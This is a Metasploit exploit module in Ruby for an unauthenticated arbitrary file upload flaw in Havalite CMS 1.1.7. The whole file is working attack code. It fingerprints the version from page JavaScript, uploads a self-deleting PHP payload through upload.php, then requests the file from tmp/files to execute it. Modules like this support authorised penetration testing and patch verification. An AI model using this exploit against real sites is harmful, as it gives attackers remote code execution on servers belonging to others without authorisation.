##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Havalite CMS Arbitary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
				possibly prior.  Attackers can abuse the upload feature in order to upload a
				malicious PHP file without authentication, which results in arbitary remote code
				execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'CWH',
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '94405'],
					['EDB', '26243']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'Platform'       => ['linux', 'php'],
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 17 2013",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
				], self.class)
	end


	def peer
		"#{rhost}:#{rport}"
	end


	#
	# Checks if target is running HavaLite CMS 1.1.7
	# We only flag 1.1.7 as vulnerable, because we don't have enough information from
	# the vendor or OSVDB about exactly which ones are really vulnerable.
	#
	def check
		uri = normalize_uri(target_uri.path, 'havalite/')
		res = send_request_raw({'uri' => uri})

		if not res
			print_error("#{peer} - Connection timed out")
			return Exploit::CheckCode::Unknown
		end

		js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
		version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''

		if not version.empty? and version =~ /1\.1\.7/
			print_status("#{peer} - Version found: #{version}")
			return Exploit::CheckCode::Vulnerable
		end

		Exploit::CheckCode::Unknown
	end


	#
	# Uploads our malicious file
	#
	def upload(base)
		p     = get_write_exec_payload(:unlink_self=>true)
		fname = "#{rand_text_alpha(5)}.php"

		data = Rex::MIME::Message.new
		data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => normalize_uri(base, 'havalite', 'upload.php'),
			'ctype'  => "multipart/form-data; boundary=#{data.bound}",
			'data'   => post_data
		})

		if not res
			fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
		elsif res.code.to_i == 404
			fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")
		elsif res.body =~ /"error"\:"abort"/
			fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")
		end

		return fname
	end


	#
	# Executes our uploaded malicious file
	#
	def exec(base, payload_fname)
		res = send_request_raw({
			'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
		})

		if res and res.code == 404
			fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
		end
	end


	def exploit
		base = target_uri.path

		print_status("#{peer} - Uploading malicious file...")
		fname = upload(base)

		print_status("#{peer} - Executing #{fname}...")
		exec(base, fname)
	end
end